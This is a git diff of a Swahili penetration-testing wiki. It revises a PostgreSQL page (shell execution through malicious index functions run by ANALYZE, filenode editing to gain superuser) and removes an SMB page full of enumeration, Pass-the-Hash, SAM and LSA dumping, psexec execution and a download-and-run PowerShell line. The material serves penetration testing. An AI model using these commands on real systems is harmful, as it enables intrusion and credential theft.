Kuunganisha wazo hili na ukweli kwamba wakati amri za **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) zinapotekelezwa kwenye **jedwali lenye kazi ya kiashiria**, **kazi** inaitwa kama sehemu ya amri kwa ruhusa za **mmiliki wa jedwali**. Inawezekana kuunda kiashiria na kazi na kutoa ruhusa za umiliki kwa **super user** juu ya jedwali hilo, na kisha kuendesha ANALYZE juu ya jedwali na kazi mbaya ambayo itakuwa na uwezo wa kutekeleza amri kwa sababu inatumia ruhusa za mmiliki.
Kuunganisha wazo hili na ukweli kwamba wakati amri za **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) zinatekelezwa kwenye **jedwali lenye kazi ya kiashiria**, **kazi** inaitwa kama sehemu ya amri kwa ruhusa za **mmiliki wa jedwali**. Inawezekana kuunda kiashiria na kazi na kutoa ruhusa za umiliki kwa **super user** juu ya jedwali hilo, na kisha kuendesha ANALYZE juu ya jedwali na kazi mbaya ambayo itakuwa na uwezo wa kutekeleza amri kwa sababu inatumia ruhusa za mmiliki.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
@ -583,7 +582,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
2. Ingiza maudhui yasiyo na umuhimu kwenye meza ili kutoa data kwa ajili ya kazi ya index.
3. Tengeneza kazi mbaya ya index ambayo ina payload ya utekelezaji wa msimbo, ikiruhusu amri zisizoidhinishwa kutekelezwa.
4. BADILI mmiliki wa meza kuwa "cloudsqladmin," ambayo ni jukumu la superuser la GCP linalotumiwa pekee na Cloud SQL kusimamia na kudumisha hifadhidata.
5. Fanya operesheni ya ANALYZE kwenye meza. Kitendo hiki kinamfanya injini ya PostgreSQL ibadilike kwenye muktadha wa mtumiaji wa mmiliki wa meza, "cloudsqladmin." Kwa hivyo, kazi mbaya ya index inaitwa kwa ruhusa za "cloudsqladmin," hivyo kuruhusu utekelezaji wa amri ya shell ambayo awali haikuwa na idhini.
5. Fanya operesheni ya ANALYZE kwenye meza. Kitendo hiki kinamfanya injini ya PostgreSQL ibadilike kwenye muktadha wa mtumiaji wa mmiliki wa meza, "cloudsqladmin." Kwa hivyo, kazi mbaya ya index inaitwa kwa ruhusa za "cloudsqladmin," hivyo kuruhusu utekelezaji wa amri ya shell ambayo haikuidhinishwa hapo awali.
Katika PostgreSQL, mtiririko huu unaonekana kama ifuatavyo:
```sql
@ -606,7 +605,7 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM
ANALYZE public.temp_table;
```
Basi, jedwali la `shell_commands_results` litakuwa na matokeo ya msimbo uliofanywa:
Kisha, jedwali la `shell_commands_results` litakuwa na matokeo ya msimbo uliofanywa:
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
@ -631,7 +630,7 @@ RETURNS (result TEXT);
> CREATE EXTENSION dblink;
> ```
Ikiwa una nenosiri la mtumiaji mwenye mamlaka zaidi, lakini mtumiaji huyo haruhusiwi kuingia kutoka IP ya nje unaweza kutumia kazi ifuatayo kutekeleza maswali kama mtumiaji huyo:
Ikiwa una nenosiri la mtumiaji mwenye mamlaka zaidi, lakini mtumiaji huyo hana ruhusa ya kuingia kutoka IP ya nje unaweza kutumia kazi ifuatayo kutekeleza maswali kama mtumiaji huyo:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
@ -678,10 +677,10 @@ Na kisha **tekeleza amri**:
<figure><img src="../images/image (649).png" alt=""><figcaption></figcaption></figure>
### Pass Burteforce na PL/pgSQL
### Kupita Burteforce na PL/pgSQL
**PL/pgSQL** ni **lugha ya programu yenye vipengele vyote** ambayo inatoa udhibiti mzuri wa taratibu ikilinganishwa na SQL. Inaruhusu matumizi ya **mizunguko** na **miundo ya udhibiti** kuboresha mantiki ya programu. Zaidi ya hayo, **kauli za SQL** na **triggers** zina uwezo wa kuita kazi ambazo zimeundwa kwa kutumia **lugha ya PL/pgSQL**. Uunganisho huu unaruhusu njia pana na inayoweza kubadilika zaidi katika programu za hifadhidata na automatisering.\
**Unaweza kutumia lugha hii ili kuomba PostgreSQL kujaribu nguvu akrediti za watumiaji.**
**PL/pgSQL** ni **lugha ya programu yenye vipengele vyote** ambayo inatoa udhibiti wa taratibu zaidi ikilinganishwa na SQL. Inaruhusu matumizi ya **mizunguko** na **miundo ya udhibiti** kuboresha mantiki ya programu. Zaidi ya hayo, **kauli za SQL** na **triggers** zina uwezo wa kuita kazi ambazo zimeundwa kwa kutumia **lugha ya PL/pgSQL**. Uunganisho huu unaruhusu njia pana na yenye uwezo zaidi katika programu za hifadhidata na automatisering.\
**Unaweza kutumia lugha hii ili kuomba PostgreSQL kujaribu nguvu akauti za watumiaji.**
{{#ref}}
../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md
@ -689,22 +688,22 @@ Na kisha **tekeleza amri**:
### Privesc kwa Kubadilisha Meza za Ndani za PostgreSQL
> [!NOTE]
> [!TIP]
> Njia ifuatayo ya privesc ni muhimu sana katika muktadha wa SQLi uliokandamizwa, kwani hatua zote zinaweza kufanywa kupitia kauli za SELECT zilizopangwa.
Ikiwa unaweza **kusoma na kuandika faili za seva za PostgreSQL**, unaweza **kuwa superuser** kwa kubadilisha filenode ya PostgreSQL kwenye diski, inayohusishwa na meza ya ndani ya `pg_authid`.
Ikiwa unaweza **kusoma na kuandika faili za seva ya PostgreSQL**, unaweza **kuwa superuser** kwa kubadilisha filenode ya PostgreSQL kwenye diski, inayohusishwa na meza ya ndani ya `pg_authid`.
Soma zaidi kuhusu **mbinu hii** [**hapa**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
Hatua za shambulio ni:
1. Pata directory ya data ya PostgreSQL
2. Pata njia ya kulinganisha kwa filenode, inayohusishwa na meza ya `pg_authid`
2. Pata njia inayohusiana na filenode, inayohusishwa na meza ya `pg_authid`
3. Pakua filenode kupitia kazi za `lo_*`
4. Pata aina ya data, inayohusishwa na meza ya `pg_authid`
5. Tumia [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) ili [kuhariri filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); weka bendera zote za `rol*` boolean kuwa 1 kwa ruhusa kamili.
5. Tumia [Mhariri wa Filenode wa PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) ili [kuhariri filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); weka bendera zote za `rol*` kuwa 1 kwa ruhusa kamili.
6. Pandisha tena filenode iliyohaririwa kupitia kazi za `lo_*`, na ubadilishe faili asilia kwenye diski
7. _(Hiari)_ Safisha cache ya meza ya ndani kwa kuendesha swali la SQL lenye gharama kubwa
7. _(Chaguo)_ Safisha cache ya meza ya ndani kwa kukimbia swali la SQL lenye gharama kubwa
8. Sasa unapaswa kuwa na ruhusa za superadmin kamili.
## **POST**
@ -717,7 +716,7 @@ msf> use exploit/windows/postgres/postgres_payload
```
### logging
Ndani ya _**postgresql.conf**_ faili unaweza kuwezesha postgresql logs kwa kubadilisha:
Ndani ya faili _**postgresql.conf**_ unaweza kuwezesha kumbukumbu za postgresql kwa kubadilisha:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
@ -732,7 +731,7 @@ Kisha, **anzisha upya huduma**.
[pgadmin](https://www.pgadmin.org) ni jukwaa la usimamizi na maendeleo kwa ajili ya PostgreSQL.\
Unaweza kupata **nywila** ndani ya faili ya _**pgadmin4.db**_\
Unaweza kuzifungua kwa kutumia kazi ya _**decrypt**_ ndani ya script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
Unaweza kuzifungua kwa kutumia kazi ya _**decrypt**_ ndani ya skripti: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
@ -741,7 +740,7 @@ string pgadmin4.db
```
### pg_hba
Uthibitisho wa mteja katika PostgreSQL unasimamiwa kupitia faili ya usanidi inayoitwa **pg_hba.conf**. Faili hii ina mfululizo wa rekodi, kila moja ikitaja aina ya muunganisho, anuwai ya anwani ya IP ya mteja (ikiwa inahitajika), jina la database, jina la mtumiaji, na njia ya uthibitisho ya kutumia kwa muunganisho unaolingana. Rekodi ya kwanza inayolingana na aina ya muunganisho, anwani ya mteja, database iliyohitajika, na jina la mtumiaji inatumika kwa uthibitisho. Hakuna njia mbadala au ya akiba ikiwa uthibitisho unashindwa. Ikiwa hakuna rekodi inayolingana, ufikiaji unakataliwa.
Uthibitisho wa mteja katika PostgreSQL unasimamiwa kupitia faili ya usanidi inayoitwa **pg_hba.conf**. Faili hii ina mfululizo wa rekodi, kila moja ikitaja aina ya muunganisho, anwani ya IP ya mteja (ikiwa inahitajika), jina la database, jina la mtumiaji, na njia ya uthibitisho ya kutumia kwa muunganisho unaolingana. Rekodi ya kwanza inayolingana na aina ya muunganisho, anwani ya mteja, database iliyohitajika, na jina la mtumiaji inatumika kwa uthibitisho. Hakuna njia mbadala au ya akiba ikiwa uthibitisho unashindwa. Ikiwa hakuna rekodi inayolingana, ufikiaji unakataliwa.
Mbinu za uthibitisho zinazopatikana zinazotumia nenosiri katika pg_hba.conf ni **md5**, **crypt**, na **password**. Mbinu hizi zinatofautiana katika jinsi nenosiri linavyotumwa: limepangwa kwa MD5, limefichwa kwa crypt, au maandiko wazi. Ni muhimu kutambua kwamba njia ya crypt haiwezi kutumika na nenosiri ambayo imefichwa katika pg_authid.

View File

@ -1,532 +0,0 @@
# 139,445 - Pentesting SMB
{{#include ../banners/hacktricks-training.md}}
## **Port 139**
_**Network Basic Input Output System**_** (NetBIOS)** ni protokali ya programu iliyoundwa kuwezesha programu, PCs, na Desktops ndani ya mtandao wa eneo la ndani (LAN) kuingiliana na vifaa vya mtandao na **kuwezesha uhamasishaji wa data kupitia mtandao**. Utambuzi na eneo la programu za software zinazofanya kazi kwenye mtandao wa NetBIOS unafanywa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa hadi herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili kinaanzishwa wakati programu moja (ikienda kama mteja) inatoa amri ya "kuita" programu nyingine (ikienda kama seva) ikitumia **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Kitaalamu, Port 139 inajulikana kama NBT over IP, wakati Port 445 inatambulika kama SMB over IP. Kifupi **SMB** kinamaanisha **Server Message Blocks**, ambacho pia kinajulikana kisasa kama **Common Internet File System (CIFS)**. Kama itifaki ya mtandao ya kiwango cha programu, SMB/CIFS inatumika hasa kuwezesha ufikiaji wa pamoja wa faili, printers, serial ports, na kuwezesha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao.
Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya kazi moja kwa moja juu ya TCP/IP, ikiondoa hitaji la NetBIOS juu ya TCP/IP, kupitia matumizi ya port 445. Kinyume chake, kwenye mifumo tofauti, matumizi ya port 139 yanaonekana, ikionyesha kwamba SMB inatekelezwa pamoja na NetBIOS juu ya TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Protokali ya **Server Message Block (SMB)**, inayofanya kazi katika mfano wa **mteja-server**, imeundwa kwa ajili ya kudhibiti **ufikiaji wa faili**, directories, na rasilimali nyingine za mtandao kama printers na routers. Kimsingi inatumika ndani ya mfululizo wa mifumo ya uendeshaji ya **Windows**, SMB inahakikisha ufanisi wa nyuma, ikiruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuingiliana kwa urahisi na vile vinavyotumia toleo la zamani. Zaidi ya hayo, mradi wa **Samba** unatoa suluhisho la programu ya bure, linalowezesha utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano kati ya majukwaa kupitia SMB.
Hisa, zinazoakisi **sehemu za kiholela za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu **huru** kutoka muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinaelezea **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva.
### IPC$ Share
Ufikiaji wa hisa ya IPC$ unaweza kupatikana kupitia kikao cha kutokujulikana, kuruhusu mwingiliano na huduma zinazofichuliwa kupitia mabomba yaliyopewa majina. Chombo `enum4linux` ni muhimu kwa kusudi hili. Ikitumika ipasavyo, inaruhusu kupata:
- Taarifa kuhusu mfumo wa uendeshaji
- Maelezo kuhusu domain ya mzazi
- Mkusanyiko wa watumiaji na vikundi vya ndani
- Taarifa kuhusu hisa za SMB zinazopatikana
- Sera ya usalama wa mfumo inayofanya kazi
Funguo hii ni muhimu kwa wasimamizi wa mtandao na wataalamu wa usalama kutathmini hali ya usalama ya huduma za SMB (Server Message Block) kwenye mtandao. `enum4linux` inatoa mtazamo mpana wa mazingira ya SMB ya mfumo lengwa, ambayo ni muhimu kwa kutambua udhaifu wa uwezekano na kuhakikisha kwamba huduma za SMB zimeimarishwa ipasavyo.
```bash
enum4linux -a target_ip
```
Jukumu hapo juu ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uainishaji kamili dhidi ya lengo lililobainishwa na `target_ip`.
## Nini NTLM
Ikiwa hujui nini NTLM au unataka kujua jinsi inavyofanya kazi na jinsi ya kuitumia vibaya, utapata ukurasa huu kuhusu **NTLM** kuwa wa kuvutia sana ambapo inaelezwa **jinsi protokali hii inavyofanya kazi na jinsi unavyoweza kuitumia:**
{{#ref}}
../windows-hardening/ntlm/
{{#endref}}
## **Uainishaji wa Server**
### **Scan** mtandao ukitafuta mwenyeji:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB server version
Ili kutafuta uwezekano wa kutumia udhaifu kwenye toleo la SMB, ni muhimu kujua ni toleo gani linatumika. Ikiwa taarifa hii haitokei katika zana nyingine zinazotumika, unaweza:
- Tumia moduli ya **MSF** ya ziada _**auxiliary/scanner/smb/smb_version**_
- Au skripti hii:
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Tafuta exploit**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Mikopo** Inayowezekana
| **Jina la mtumiaji** | **Nywila za kawaida** |
| --------------------- | ----------------------------------------- |
| _(bila)_ | _(bila)_ |
| mgeni | _(bila)_ |
| Msimamizi, admin | _(bila)_, nywila, msimamizi, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| jaribio, maabara, onyesho | nywila, jaribio, maabara, onyesho |
### Nguvu ya Brute
- [**SMB Brute Force**](../generic-methodologies-and-resources/brute-force.md#smb)
### Taarifa za Mazingira ya SMB
### Pata Taarifa
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Orodha Watumiaji, Vikundi & Watumiaji Walioingia
Taarifa hii inapaswa kuwa tayari imekusanywa kutoka enum4linux na enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Orodhesha watumiaji wa ndani
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
Oneliner
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Kuorodhesha watumiaji wa ndani
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Kuhesabu LSARPC na SAMR rpcclient**
{{#ref}}
pentesting-smb/rpcclient-enumeration.md
{{#endref}}
### Muunganisho wa GUI kutoka linux
#### Katika terminali:
`xdg-open smb://cascade.htb/`
#### Katika dirisha la kivinjari cha faili (nautilus, thunar, nk)
`smb://friendzone.htb/general/`
## Kuhesabu Folda Zilizoshirikiwa
### Orodha ya folda zilizoshirikiwa
Kila wakati inashauriwa kuangalia kama unaweza kufikia chochote, ikiwa huna akidi jaribu kutumia **null** **credentials/mtembezi wa wageni**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Unganisha/Orodhesha folda iliyo shared**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Kuhesabu kwa mikono sehemu za windows na kuungana nazo**
Inaweza kuwa inawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuhesabu sehemu hizo kwa mikono unaweza kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa ukitumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji kwake au sehemu hiyo haipo kabisa.
Majina ya kawaida ya sehemu kwa malengo ya windows ni
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(Majina ya kawaida ya sehemu kutoka _**Network Security Assessment 3rd edition**_)
Unaweza kujaribu kuungana nazo kwa kutumia amri ifuatayo
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
au kwa hii script (ikitumia kikao kisicho na thamani)
```bash
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
mfano
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Kuhesabu hisa kutoka Windows / bila zana za upande wa tatu**
PowerShell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
CMD console
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC Snap-in (grafiki)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (grafiki), ingiza `\\<ip>\` ili kuona sehemu za kushiriki zisizo na siri.
### Pandisha folda iliyo shared
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Pakua faili**
Soma sehemu za awali kujifunza jinsi ya kuungana na akidi/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
```
```bash
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
```
Amri:
- mask: inabainisha mask ambayo inatumika kuchuja faili ndani ya saraka (kwa mfano, "" kwa faili zote)
- recurse: inawasha recursion (kawaida: off)
- prompt: inawasha kuomba majina ya faili (kawaida: on)
- mget: inakopi faili zote zinazolingana na mask kutoka kwa mwenyeji hadi mashine ya mteja
(_Taarifa kutoka kwa manpage ya smbclient_)
### Utafutaji wa Folda za Kshared za Domain
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani **zinaweza kuwa na nywila** za watumiaji walioanzishwa na **autologon** kupitia Sera ya Kundi. Au faili za **`web.config`** kwani zina nyaraka za kuingia.
- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
> [!NOTE]
> **SYSVOL share** inaweza **kusomwa** na watumiaji wote walioidhinishwa katika eneo. Ndani yake unaweza **kupata** batch nyingi tofauti, VBScript, na **scripts** za PowerShell.\
> Unapaswa **kuangalia** **scripts** ndani yake kwani unaweza **kupata** taarifa nyeti kama vile **nywila**.
## Soma Registry
Unaweza kuwa na uwezo wa **kusoma registry** kwa kutumia baadhi ya nyaraka zilizogunduliwa. Impacket **`reg.py`** inakuwezesha kujaribu:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post Exploitation
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
| **Setting** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Je, ruhusu orodha ya sehemu zinazopatikana katika sehemu ya sasa? |
| `read only = no` | Je, kataza uundaji na mabadiliko ya faili? |
| `writable = yes` | Je, ruhusu watumiaji kuunda na kubadilisha faili? |
| `guest ok = yes` | Je, ruhusu kuungana na huduma bila kutumia nenosiri? |
| `enable privileges = yes` | Je, heshimu mamlaka yaliyotolewa kwa SID maalum? |
| `create mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa faili mpya zilizoundwa? |
| `directory mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa directories mpya zilizoundwa?|
| `logon script = script.sh` | Ni script gani inahitaji kutekelezwa wakati wa kuingia kwa mtumiaji?|
| `magic script = script.sh` | Ni script ipi inapaswa kutekelezwa wakati script inafungwa? |
| `magic output = script.out` | Wapi matokeo ya script ya kichawi yanapaswa kuhifadhiwa? |
The command `smbstatus` gives information about the **server** and about **who is connected**.
## Authenticate using Kerberos
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **Teua Amri**
### **crackmapexec**
crackmapexec inaweza kutekeleza amri **kwa kutumia** yoyote ya **mmcexec, smbexec, atexec, wmiexec** ambapo **wmiexec** ndiyo njia **ya kawaida**. Unaweza kuashiria chaguo unalopendelea kutumia kwa kutumia parameter `--exec-method`:
```bash
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Chaguo zote mbili zita **unda huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) kwenye mashine ya mwathirika na kuitumia **kutekeleza kitu** (**psexec** it **pakia** faili la executable kwenye ADMIN$ share na **smbexec** itaanika **cmd.exe/powershell.exe** na kuweka katika hoja payload --**mbinu isiyo na faili-**-).\
**Maelezo zaidi** kuhusu [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)na [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
